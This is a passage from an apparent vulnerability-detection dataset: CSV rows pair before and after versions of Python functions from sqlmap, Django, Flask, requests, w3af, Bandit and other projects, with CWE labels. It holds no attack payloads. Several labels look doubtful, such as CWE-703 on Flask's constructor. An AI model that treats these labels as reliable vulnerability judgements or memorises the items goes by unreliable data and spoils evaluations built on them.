                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.preprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running preprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        processResponse(page, responseHeaders, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/integration/minion/test_blackout.py,0,"def setUpClass(cls):
        cls.blackout_pillar = os.path.join(PILLAR_DIR, 'base', 'blackout.sls')",,saltstack/salt,02d7433f40193278bb3693719985e0fac040e70c,"def setUpClass(cls):
        cls.blackout_pillar = os.path.join(PILLAR_DIR, 'base', 'blackout.sls')"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/ioloop.py,0,"def make_current(self):
        """"""Makes this the `IOLoop` for the current thread.

        An `IOLoop` automatically becomes current for its thread
        when it is started, but it is sometimes useful to call
        `make_current` explicitly before starting the `IOLoop`,
        so that code run at startup time can find the right
        instance.
        """"""
        IOLoop._current.instance = self",CWE-Unknown,tornadoweb/tornado,8238c08b99200b238135bb3cf95890c14512341e,"def make_current(self):
        """"""Makes this the `IOLoop` for the current thread.

        An `IOLoop` automatically becomes current for its thread
        when it is started, but it is sometimes useful to call
        `make_current` explictly before starting the `IOLoop`,
        so that code run at startup time can find the right
        instance.
        """"""
        IOLoop._current.instance = self"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/sessions.py,0,"def request(self, method, url,
        params=None,
        data=None,
        headers=None,
        cookies=None,
        files=None,
        auth=None,
        timeout=None,
        allow_redirects=True,
        proxies=None,
        hooks=None,
        stream=None,
        verify=None,
        cert=None,
        json=None):
        """"""Constructs a :class:`Request <Request>`, prepares it and sends it.
        Returns :class:`Response <Response>` object.

        :param method: method for the new :class:`Request` object.
        :param url: URL for the new :class:`Request` object.
        :param params: (optional) Dictionary or bytes to be sent in the query
            string for the :class:`Request`.
        :param data: (optional) Dictionary, bytes, or file-like object to send
            in the body of the :class:`Request`.
        :param json: (optional) json to send in the body of the
            :class:`Request`.
        :param headers: (optional) Dictionary of HTTP Headers to send with the
            :class:`Request`.
        :param cookies: (optional) Dict or CookieJar object to send with the
            :class:`Request`.
        :param files: (optional) Dictionary of ``'filename': file-like-objects``
            for multipart encoding upload.
        :param auth: (optional) Auth tuple or callable to enable
            Basic/Digest/Custom HTTP Auth.
        :param timeout: (optional) How long to wait for the server to send
            data before giving up, as a float, or a :ref:`(connect timeout,
            read timeout) <timeouts>` tuple.
        :type timeout: float or tuple
        :param allow_redirects: (optional) Set to True by default.
        :type allow_redirects: bool
        :param proxies: (optional) Dictionary mapping protocol or protocol and
            hostname to the URL of the proxy.
        :param stream: (optional) whether to immediately download the response
            content. Defaults to ``False``.
        :param verify: (optional) whether the SSL cert will be verified.
            A CA_BUNDLE path can also be provided. Defaults to ``True``.
        :param cert: (optional) if String, path to ssl client cert file (.pem).
            If Tuple, ('cert', 'key') pair.
        :rtype: requests.Response
        """"""
        # Create the Request.
        req = Request(
            method = method.upper(),
            url = url,
            headers = headers,
            files = files,
            data = data or {},
            json = json,
            params = params or {},
            auth = auth,
            cookies = cookies,
            hooks = hooks,
        )
        prep = self.prepare_request(req)

        proxies = proxies or {}

        settings = self.merge_environment_settings(
            prep.url, proxies, stream, verify, cert
        )

        # Send the request.
        send_kwargs = {
            'timeout': timeout,
            'allow_redirects': allow_redirects,
        }
        send_kwargs.update(settings)
        resp = self.send(prep, **send_kwargs)

        return resp",,psf/requests,4865f0f9bf30682239aa2672dad5c488d9c9b949,"def request(self, method, url,
        params=None,
        data=None,
        headers=None,
        cookies=None,
        files=None,
        auth=None,
        timeout=None,
        allow_redirects=True,
        proxies=None,
        hooks=None,
        stream=None,
        verify=None,
        cert=None,
        json=None):
        """"""Constructs a :class:`Request <Request>`, prepares it and sends it.
        Returns :class:`Response <Response>` object.

        :param method: method for the new :class:`Request` object.
        :param url: URL for the new :class:`Request` object.
        :param params: (optional) Dictionary or bytes to be sent in the query
            string for the :class:`Request`.
        :param data: (optional) Dictionary, bytes, or file-like object to send
            in the body of the :class:`Request`.
        :param json: (optional) json to send in the body of the
            :class:`Request`.
        :param headers: (optional) Dictionary of HTTP Headers to send with the
            :class:`Request`.
        :param cookies: (optional) Dict or CookieJar object to send with the
            :class:`Request`.
        :param files: (optional) Dictionary of ``'filename': file-like-objects``
            for multipart encoding upload.
        :param auth: (optional) Auth tuple or callable to enable
            Basic/Digest/Custom HTTP Auth.
        :param timeout: (optional) How long to wait for the server to send
            data before giving up, as a float, or a :ref:`(connect timeout,
            read timeout) <timeouts>` tuple.
        :type timeout: float or tuple
        :param allow_redirects: (optional) Set to True by default.
        :type allow_redirects: bool
        :param proxies: (optional) Dictionary mapping protocol or protocol and
            hostname to the URL of the proxy.
        :param stream: (optional) whether to immediately download the response
            content. Defaults to ``False``.
        :param verify: (optional) whether the SSL cert will be verified.
            A CA_BUNDLE path can also be provided. Defaults to ``True``.
        :param cert: (optional) if String, path to ssl client cert file (.pem).
            If Tuple, ('cert', 'key') pair.
        :rtype: requests.Response
	""""""
        # Create the Request.
        req = Request(
            method = method.upper(),
            url = url,
            headers = headers,
            files = files,
            data = data or {},
            json = json,
            params = params or {},
            auth = auth,
            cookies = cookies,
            hooks = hooks,
        )
        prep = self.prepare_request(req)

        proxies = proxies or {}

        settings = self.merge_environment_settings(
            prep.url, proxies, stream, verify, cert
        )

        # Send the request.
        send_kwargs = {
            'timeout': timeout,
            'allow_redirects': allow_redirects,
        }
        send_kwargs.update(settings)
        resp = self.send(prep, **send_kwargs)

        return resp"
,UNKNOWN,UNKNOWN,tests/admin_inlines/tests.py,1,"def test_inline_formset_error(self):
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_holder5_add'))
        stacked_inline_formset_selector = 'div#inner5stacked_set-group fieldset.module.collapse'
        tabular_inline_formset_selector = 'div#inner5tabular_set-group fieldset.module.collapse'
        # Inlines without errors, both inlines collapsed
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector + '.collapsed')), 1
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector + '.collapsed')), 1
        )
        show_links = self.selenium.find_elements_by_link_text('SHOW')
        self.assertEqual(len(show_links), 2)

        # Inlines with errors, both inlines expanded
        test_fields = ['#id_inner5stacked_set-0-dummy', '#id_inner5tabular_set-0-dummy']
        for show_index, field_name in enumerate(test_fields):
            show_links[show_index].click()
            self.wait_until_visible(field_name)
            self.selenium.find_element_by_id(field_name[1:]).send_keys(1)
        hide_links = self.selenium.find_elements_by_link_text('HIDE')
        self.assertEqual(len(hide_links), 2)
        for hide_index, field_name in enumerate(test_fields):
            hide_link = hide_links[hide_index]
            self.selenium.execute_script('window.scrollTo(0, %s);' % hide_link.location['y'])
            hide_link.click()
            self.wait_until_invisible(field_name)
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector + '.collapsed')), 0
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector + '.collapsed')), 0
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector)), 1
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector)), 1
        )",CWE-259,django/django,45bef6706ae7436b5c2c503018b21ff70b2e6728,"def test_inline_formset_error(self):
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_holder5_add'))
        stacked_inline_formset_selector = 'div#inner5stacked_set-group fieldset.module.collapse'
        tabular_inline_formset_selector = 'div#inner5tabular_set-group fieldset.module.collapse'
        # Inlines without errors, both inlines collapsed
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector + '.collapsed')), 1
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector + '.collapsed')), 1
        )
        show_links = self.selenium.find_elements_by_link_text('SHOW')
        self.assertEqual(len(show_links), 2)

        # Inlines with errors, both inlines expanded
        test_fields = ['#id_inner5stacked_set-0-dummy', '#id_inner5tabular_set-0-dummy']
        for show_index, field_name in enumerate(test_fields):
            show_links[show_index].click()
            self.wait_until_visible(field_name)
            self.selenium.find_element_by_id(field_name[1:]).send_keys(1)
        hide_links = self.selenium.find_elements_by_link_text('HIDE')
        self.assertEqual(len(hide_links), 2)
        for hide_index, field_name in enumerate(test_fields):
            hide_link = hide_links[hide_index]
            self.selenium.execute_script('window.scrollTo(0, %s);' % hide_link.location['y'])
            hide_link.click()
            self.wait_until_invisible(field_name)
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector + '.collapsed')), 0
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector + '.collapsed')), 0
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector)), 1
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector)), 1
        )"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/linux_yarascan.py,0,"def calculate(self):
    
        ## we need this module imported
        if not has_yara:
            debug.error(""Please install Yara from code.google.com/p/yara-project"")
            
        ## leveraged from the windows yarascan plugin
        rules = self._compile_rules()
            
        ## set the linux plugin address spaces 
        linux_common.set_plugin_members(self)
    
        if self._config.KERNEL:
            ## the start of kernel memory taken from VolatilityLinuxIntelValidAS
            if self.addr_space.profile.metadata.get('memory_model', '32bit') == ""32bit"":
                kernel_start = 0xc0000000
            else:
                kernel_start = 0xffffffff80000000
            
            scanner = malfind.DiscontigYaraScanner(rules = rules,
                                                   address_space = self.addr_space)
                                                   
            for hit, address in scanner.scan(start_offset = kernel_start):
                yield (None, address, hit, 
                        scanner.address_space.zread(address, 64))
        else:
            for task in pslist.linux_pslist(self._config).calculate():
                scanner = VmaYaraScanner(task = task, rules = rules)
                for hit, address in scanner.scan():
                    yield (task, address, hit, 
                                scanner.address_space.zread(address, 64))",,volatilityfoundation/volatility,f606ffd282fd57a8e82be898c0d184ae0bee3383,"def calculate(self):
    
        ## we need this module imported
        if not has_yara:
            debug.error(""Please install Yara from code.google.com/p/yara-project"")
            
        ## leveraged from the windows yarascan plugin
        rules = self._compile_rules()
            
        ## set the linux plugin address spaces 
        linux_common.set_plugin_members(self)
    
        if self._config.KERNEL:
            ## the start of kernel memory taken from VolatilityLinuxIntelValidAS
            if self.addr_space.profile.metadata.get('memory_model', '32bit') == ""32bit"":
                kernel_start = 0xc0000000
            else:
                ## masking like a pointer - remove after x64 ptr fix
                kernel_start = 0xffffffff80000000 & 0xffffffffffff
            
            scanner = malfind.DiscontigYaraScanner(rules = rules,
                                                   address_space = self.addr_space)
                                                   
            for hit, address in scanner.scan(start_offset = kernel_start):
                yield (None, address, hit, 
                        scanner.address_space.zread(address, 64))
        else:
            for task in pslist.linux_pslist(self._config).calculate():
                scanner = VmaYaraScanner(task = task, rules = rules)
                for hit, address in scanner.scan():
                    yield (task, address, hit, 
                                scanner.address_space.zread(address, 64))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/plugins/blacklist_imports.py,0,"def blacklist_import_func(context, config):
    checks = _load_checks(config)
    if context.call_function_name_qual == '__import__':
        for check in checks:
            # item 0=import, 1=message, 2=level
            if check[0]:
                for im in check[0]:
                    if len(context.call_args) and im == context.call_args[0]:
                        return _get_result(check, im)",UNKNOWN,PyCQA/bandit,8ba353603f00df5c9e9c26043251f30ea937cdce,"def blacklist_import_func(context, config):
    checks = _load_checks(config)
    if context.call_function_name_qual == '__import__':
        for check in checks:
            # item 0=import, 1=message, 2=level
            if check[0]:
                for im in check[0]:
                    if im == context.call_args[0]:
                        return _get_result(check, im)"
,UNKNOWN,UNKNOWN,src/flask/app.py,1,"def __init__(
        self,
        import_name: str,
        static_url_path: t.Optional[str] = None,
        static_folder: t.Optional[t.Union[str, os.PathLike]] = ""static"",
        static_host: t.Optional[str] = None,
        host_matching: bool = False,
        subdomain_matching: bool = False,
        template_folder: t.Optional[str] = ""templates"",
        instance_path: t.Optional[str] = None,
        instance_relative_config: bool = False,
        root_path: t.Optional[str] = None,
    ):
        super().__init__(
            import_name=import_name,
            static_folder=static_folder,
            static_url_path=static_url_path,
            template_folder=template_folder,
            root_path=root_path,
        )

        if instance_path is None:
            instance_path = self.auto_find_instance_path()
        elif not os.path.isabs(instance_path):
            raise ValueError(
                ""If an instance path is provided it must be absolute.""
                "" A relative path was given instead.""
            )

        #: Holds the path to the instance folder.
        #:
        #: .. versionadded:: 0.8
        self.instance_path = instance_path

        #: The configuration dictionary as :class:`Config`.  This behaves
        #: exactly like a regular dictionary but supports additional methods
        #: to load a config from files.
        self.config = self.make_config(instance_relative_config)

        #: An instance of :attr:`aborter_class` created by
        #: :meth:`make_aborter`. This is called by :func:`flask.abort`
        #: to raise HTTP errors, and can be called directly as well.
        #:
        #: .. versionadded:: 2.2
        #:     Moved from ``flask.abort``, which calls this object.
        self.aborter = self.make_aborter()

        #: A list of functions that are called by
        #: :meth:`handle_url_build_error` when :meth:`.url_for` raises a
        #: :exc:`~werkzeug.routing.BuildError`. Each function is called
        #: with ``error``, ``endpoint`` and ``values``. If a function
        #: returns ``None`` or raises a ``BuildError``, it is skipped.
        #: Otherwise, its return value is returned by ``url_for``.
        #:
        #: .. versionadded:: 0.9
        self.url_build_error_handlers: t.List[
            t.Callable[[Exception, str, t.Dict[str, t.Any]], str]
        ] = []

        #: A list of functions that will be called at the beginning of the
        #: first request to this instance. To register a function, use the
        #: :meth:`before_first_request` decorator.
        #:
        #: .. versionadded:: 0.8
        self.before_first_request_funcs: t.List[BeforeFirstRequestCallable] = []

        #: A list of functions that are called when the application context
        #: is destroyed.  Since the application context is also torn down
        #: if the request ends this is the place to store code that disconnects
        #: from databases.
        #:
        #: .. versionadded:: 0.9
        self.teardown_appcontext_funcs: t.List[TeardownCallable] = []

        #: A list of shell context processor functions that should be run
        #: when a shell context is created.
        #:
        #: .. versionadded:: 0.11
        self.shell_context_processors: t.List[t.Callable[[], t.Dict[str, t.Any]]] = []

        #: Maps registered blueprint names to blueprint objects. The
        #: dict retains the order the blueprints were registered in.
        #: Blueprints can be registered multiple times, this dict does
        #: not track how often they were attached.
        #:
        #: .. versionadded:: 0.7
        self.blueprints: t.Dict[str, ""Blueprint""] = {}

        #: a place where extensions can store application specific state.  For
        #: example this is where an extension could store database engines and
        #: similar things.
        #:
        #: The key must match the name of the extension module. For example in
        #: case of a ""Flask-Foo"" extension in `flask_foo`, the key would be
        #: ``'foo'``.
        #:
        #: .. versionadded:: 0.7
        self.extensions: dict = {}

        #: The :class:`~werkzeug.routing.Map` for this instance.  You can use
        #: this to change the routing converters after the class was created
        #: but before any routes are connected.  Example::
        #:
        #:    from werkzeug.routing import BaseConverter
        #:
        #:    class ListConverter(BaseConverter):
        #:        def to_python(self, value):
        #:            return value.split(',')
        #:        def to_url(self, values):
        #:            return ','.join(super(ListConverter, self).to_url(value)
        #:                            for value in values)
        #:
        #:    app = Flask(__name__)
        #:    app.url_map.converters['list'] = ListConverter
        self.url_map = self.url_map_class()

        self.url_map.host_matching = host_matching
        self.subdomain_matching = subdomain_matching

        # tracks internally if the application already handled at least one
        # request.
        self._got_first_request = False
        self._before_request_lock = Lock()

        # Add a static route using the provided static_url_path, static_host,
        # and static_folder if there is a configured static_folder.
        # Note we do this without checking if static_folder exists.
        # For one, it might be created while the server is running (e.g. during
        # development). Also, Google App Engine stores static files somewhere
        if self.has_static_folder:
            assert (
                bool(static_host) == host_matching
            ), ""Invalid static_host/host_matching combination""
            # Use a weakref to avoid creating a reference cycle between the app
            # and the view function (see #3761).
            self_ref = weakref.ref(self)
            self.add_url_rule(
                f""{self.static_url_path}/<path:filename>"",
                endpoint=""static"",
                host=static_host,
                view_func=lambda **kw: self_ref().send_static_file(**kw),  # type: ignore # noqa: B950
            )

        # Set the name of the Click group in case someone wants to add
        # the app's commands to another CLI tool.
        self.cli.name = self.name",CWE-703,pallets/flask,a52a7db6c9760adba6ceefa038b6ab69c207d7f9,"def __init__(
        self,
        import_name: str,
        static_url_path: t.Optional[str] = None,
        static_folder: t.Optional[t.Union[str, os.PathLike]] = ""static"",
        static_host: t.Optional[str] = None,
        host_matching: bool = False,
        subdomain_matching: bool = False,
        template_folder: t.Optional[str] = ""templates"",
        instance_path: t.Optional[str] = None,
        instance_relative_config: bool = False,
        root_path: t.Optional[str] = None,
    ):
        super().__init__(
            import_name=import_name,
            static_folder=static_folder,
            static_url_path=static_url_path,
            template_folder=template_folder,
            root_path=root_path,
        )

        if instance_path is None:
            instance_path = self.auto_find_instance_path()
        elif not os.path.isabs(instance_path):
            raise ValueError(
                ""If an instance path is provided it must be absolute.""
                "" A relative path was given instead.""
            )

        #: Holds the path to the instance folder.
        #:
        #: .. versionadded:: 0.8
        self.instance_path = instance_path

        #: The configuration dictionary as :class:`Config`.  This behaves
        #: exactly like a regular dictionary but supports additional methods
        #: to load a config from files.
        self.config = self.make_config(instance_relative_config)

        #: An instance of :attr:`aborter_class` created by
        #: :meth:`make_aborter`. This is called by :func:`flask.abort`
        #: to raise HTTP errors, and can be called directly as well.
        #:
        #: .. versionadded:: 2.2
        #:     Moved from ``flask.abort``, which calls this object.
        self.aborter = self.make_aborter()

        #: A list of functions that are called by
        #: :meth:`handle_url_build_error` when :meth:`.url_for` raises a
        #: :exc:`~werkzeug.routing.BuildError`. Each function is called
        #: with ``error``, ``endpoint`` and ``values``. If a function
        #: returns ``None`` or raises a ``BuildError``, it is skipped.
        #: Otherwise, its return value is returned by ``url_for``.
        #:
        #: .. versionadded:: 0.9
        self.url_build_error_handlers: t.List[
            t.Callable[[Exception, str, t.Dict[str, t.Any]], str]
        ] = []

        #: A list of functions that will be called at the beginning of the
        #: first request to this instance. To register a function, use the
        #: :meth:`before_first_request` decorator.
        #:
        #: .. versionadded:: 0.8
        self.before_first_request_funcs: t.List[BeforeFirstRequestCallable] = []

        #: A list of functions that are called when the application context
        #: is destroyed.  Since the application context is also torn down
        #: if the request ends this is the place to store code that disconnects
        #: from databases.
        #:
        #: .. versionadded:: 0.9
        self.teardown_appcontext_funcs: t.List[TeardownCallable] = []

        #: A list of shell context processor functions that should be run
        #: when a shell context is created.
        #:
        #: .. versionadded:: 0.11
        self.shell_context_processors: t.List[t.Callable[[], t.Dict[str, t.Any]]] = []

        #: Maps registered blueprint names to blueprint objects. The
        #: dict retains the order the blueprints were registered in.
        #: Blueprints can be registered multiple times, this dict does
        #: not track how often they were attached.
        #:
        #: .. versionadded:: 0.7
        self.blueprints: t.Dict[str, ""Blueprint""] = {}

        #: a place where extensions can store application specific state.  For
        #: example this is where an extension could store database engines and
        #: similar things.
        #:
        #: The key must match the name of the extension module. For example in
        #: case of a ""Flask-Foo"" extension in `flask_foo`, the key would be
        #: ``'foo'``.
        #:
        #: .. versionadded:: 0.7
        self.extensions: dict = {}

        #: The :class:`~werkzeug.routing.Map` for this instance.  You can use
        #: this to change the routing converters after the class was created
        #: but before any routes are connected.  Example::
        #:
        #:    from werkzeug.routing import BaseConverter
        #:
        #:    class ListConverter(BaseConverter):
        #:        def to_python(self, value):
        #:            return value.split(',')
        #:        def to_url(self, values):
        #:            return ','.join(super(ListConverter, self).to_url(value)
        #:                            for value in values)
        #:
        #:    app = Flask(__name__)
        #:    app.url_map.converters['list'] = ListConverter
        self.url_map = self.url_map_class()

        self.url_map.host_matching = host_matching
        self.subdomain_matching = subdomain_matching

        # tracks internally if the application already handled at least one
        # request.
        self._got_first_request = False
        self._before_request_lock = Lock()

        # Add a static route using the provided static_url_path, static_host,
        # and static_folder if there is a configured static_folder.
        # Note we do this without checking if static_folder exists.
        # For one, it might be created while the server is running (e.g. during
        # development). Also, Google App Engine stores static files somewhere
        if self.has_static_folder:
            assert (
                bool(static_host) == host_matching
            ), ""Invalid static_host/host_matching combination""
            # Use a weakref to avoid creating a reference cycle between the app
            # and the view function (see #3761).
            self_ref = weakref.ref(self)
            self.add_url_rule(
                f""{self.static_url_path}/<path:filename>"",
                endpoint=""static"",
                host=static_host,
                view_func=lambda **kw: self_ref().send_static_file(**kw),  # type: ignore # noqa: B950
            )

        # Set the name of the Click group in case someone wants to add
        # the app's commands to another CLI tool.
        self.cli.name = self.name"
,UNKNOWN,UNKNOWN,tests/gateway/test_client.py,1,"def test_client_query_mlflow_embeddings_route(oss_gateway):
    gateway_client = MlflowGatewayClient(gateway_uri=oss_gateway.url)

    route = gateway_client.get_route(name=""embeddings-oss"")
    assert route.model.provider == ""mlflow-model-serving""
    assert route.route_url == f""{oss_gateway.url}/gateway/embeddings-oss/invocations""

    data = {""text"": [""test1"", ""test2""]}

    expected_output = {
        ""embeddings"": [
            [
                0.1,
                0.2,
                0.3,
            ],
            [
                0.4,
                0.5,
                0.6,
            ],
        ],
        ""metadata"": {
            ""input_tokens"": None,
            ""output_tokens"": None,
            ""total_tokens"": None,
            ""model"": ""sentence-transformers"",
            ""route_type"": ""llm/v1/embeddings"",
        },
    }
    mock_response = mock.Mock()
    mock_response.json.return_value = expected_output

    with mock.patch.object(gateway_client, ""_call_endpoint"", return_value=mock_response):
        response = gateway_client.query(route=""embeddings-oss"", data=data)
        assert response == expected_output",CWE-703,mlflow/mlflow,d2e767f2f81fbe151e18f8269ad7e044ca7bd476,"def test_client_query_mlflow_embeddings_route(oss_gateway):
    gateway_client = MlflowGatewayClient(gateway_uri=oss_gateway.url)

    route = gateway_client.get_route(name=""embeddings-oss"")
    assert route.model.provider == ""mlflow-model-serving""
    assert route.route_url == f""{oss_gateway.url}/gateway/embeddings-oss/invocations""

    data = {""text"": [""test1"", ""test2""]}

    expected_output = {
        ""embeddings"": [
            [
                0.1,
                0.2,
                0.3,
            ],
            [
                0.4,
                0.5,
                0.6,
            ],
        ],
        ""metadata"": {
            ""input_tokens"": None,
            ""output_tokens"": None,
            ""total_tokens"": None,
            ""model"": ""sentence-transformers"",
            ""route_type"": ""llm/v1/embeddings"",
        },
    }
    mock_response = mock.Mock()
    mock_response.json.return_value = expected_output

    with mock.patch.object(gateway_client, ""_call_endpoint"", return_value=mock_response):
        response = gateway_client.query(route=""embeddings-oss"", data=data)
        assert response == expected_output"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/formatString.py,0,"def _analyzeResult( self, mutant, response ):
        '''
        Analyze results of the _sendMutant method.
        '''
        #
        #   Only one thread at the time can enter here. This is because I want to report each
        #   vulnerability only once, and by only adding the ""if self._hasNoBug"" statement, that
        #   could not be done.
        #
        with self._plugin_lock:
            
            #
            #   I will only report the vulnerability once.
            #
            if self._hasNoBug( 'formatString' , 'formatString' , mutant.getURL() , mutant.getVar() ):
                
                for error in self._get_errors():
                    # Check if the error string is in the response
                    if error in response:
                        # And not in the originally requested (non fuzzed) request
                        if not error not in mutant.getOriginalResponseBody():
                            # vuln, vuln!
                            v = vuln.vuln( mutant )
                            v.setPluginName(self.getName())
                            v.setId( response.id )
                            v.setSeverity(severity.MEDIUM)
                            v.setName( 'Format string vulnerability' )
                            msg = 'A possible (detection is really hard...) format string was found at: '
                            msg += mutant.foundAt()
                            v.setDesc( msg )
                            v.addToHighlight( error )
                            kb.kb.append( self, 'formatString', v )",,andresriancho/w3af,c1122622227cac1899919aa1e5594d831f6e173f,"def _analyzeResult( self, mutant, response ):
        '''
        Analyze results of the _sendMutant method.
        '''
        #
        #   Only one thread at the time can enter here. This is because I want to report each
        #   vulnerability only once, and by only adding the ""if self._hasNoBug"" statement, that
        #   could not be done.
        #
        with self._plugin_lock:
            
            #
            #   I will only report the vulnerability once.
            #
            if self._hasNoBug( 'formatString' , 'formatString' , mutant.getURL() , mutant.getVar() ):
                
                for error in self._get_errors():
                    # Check if the error string is in the response
                    if error in response:
                        # And not in the originally requested (non fuzzed) request
                        if not error not in mutant.getOriginalResponseBody():
                            # vuln, vuln!
                            v = vuln.vuln( mutant )
                            v.setId( response.id )
                            v.setSeverity(severity.MEDIUM)
                            v.setName( 'Format string vulnerability' )
                            msg = 'A possible (detection is really hard...) format string was found at: '
                            msg += mutant.foundAt()
                            v.setDesc( msg )
                            v.addToHighlight( error )
                            kb.kb.append( self, 'formatString', v )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/crypto/openssl_csr.py,0,"def _check_basicConstraints(extensions):
            return _check_keyUsage_(extensions, b'basicConstraints', self.basicConstraints, self.basicConstraints_critical)",,ansible/ansible,6666b070a97af5735694e2f421c56d12cccbbfd2,"def _check_basicConstraints(extensions):
            return _check_keyUsage_(extensions, b'basicConstraints', self.basicConstraints, self.basicConstraints_critical)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/tracking/_tracking_service/test_utils.py,0,"def test_get_store_raises_on_uc_uri(store_uri):
    set_tracking_uri(store_uri)
    with pytest.raises(
        MlflowException,
        match=""Setting the tracking URI to a Unity Catalog backend is not ""
        ""supported in the current version of the MLflow client"",
    ):
        mlflow.tracking.MlflowClient()",,mlflow/mlflow,d46dd96d60002ef0105f3eae8f76a829945dfc3f,"def test_get_store_raises_on_uc_uri(store_uri):
    set_tracking_uri(store_uri)
    with pytest.raises(
        MlflowException,
        match=""Setting the tracking URI to a Unity Catalog backend is not ""
        ""supported in the current version of the MLflow client"",
    ):
        mlflow.tracking.MlflowClient()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/model_forms/tests.py,0,"def test_default_not_populated_on_checkboxselectmultiple(self):
        class PubForm(forms.ModelForm):
            mode = forms.CharField(required=False, widget=forms.CheckboxSelectMultiple)

            class Meta:
                model = PublicationDefaults
                fields = ('mode',)

        # Empty data doesn't use the model default because an unchecked
        # CheckboxSelectMultiple doesn't have a value in HTML form submission.
        mf1 = PubForm({})
        self.assertEqual(mf1.errors, {})
        m1 = mf1.save(commit=False)
        self.assertEqual(m1.mode, '')
        self.assertEqual(m1._meta.get_field('mode').get_default(), 'di')",CWE-Unknown,django/django,83331d1ed0fde144767e8f35f2d9e512bdd2afb1,"def test_default_not_populated_on_checkboxselectmultiple(self):
        class PubForm(forms.ModelForm):
            mode = forms.CharField(required=False, widget=forms.CheckboxSelectMultiple)

            class Meta:
                model = PublicationDefaults
                fields = ('mode',)

        # Empty data doesn't use the model default because an unchecked
        # CheckboxSelectMultiple doesn't have a value in HTML form submission.
        mf1 = PubForm({})
        self.assertEqual(mf1.errors, {})
        m1 = mf1.save(commit=False)
        self.assertEqual(m1.mode, '')
        self.assertEqual(m1._meta.get_field('mode').get_default(), 'di')"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/utils.py,0,"def get_qual_attr(node, aliases):
    prefix = """"
    if type(node) == _ast.Attribute:
        try:
            val = deepgetattr(node, 'value.id')
            if val in aliases:
                prefix = aliases[val]
            else:
                prefix = deepgetattr(node, 'value.id')
        except Exception:
            # NOTE(tkelsey): degrade gracefully when we can't get the fully
            # qualified name for an attr, just return its base name.
            pass

        return(""%s.%s"" % (prefix, node.attr))
    else:
        return """"",UNKNOWN,PyCQA/bandit,be75a4f63713d0df1e7a92c8df1d769b7c606efa,"def get_qual_attr(node, aliases):
    prefix = """"
    if type(node) == _ast.Attribute:
        try:
            val = deepgetattr(node, 'value.id')
            if val in aliases:
                prefix = aliases[val]
            else:
                prefix = deepgetattr(node, 'value.id')
        except Exception:
            # NOTE(tkelsey): degrade gracefully when we cant get the fully
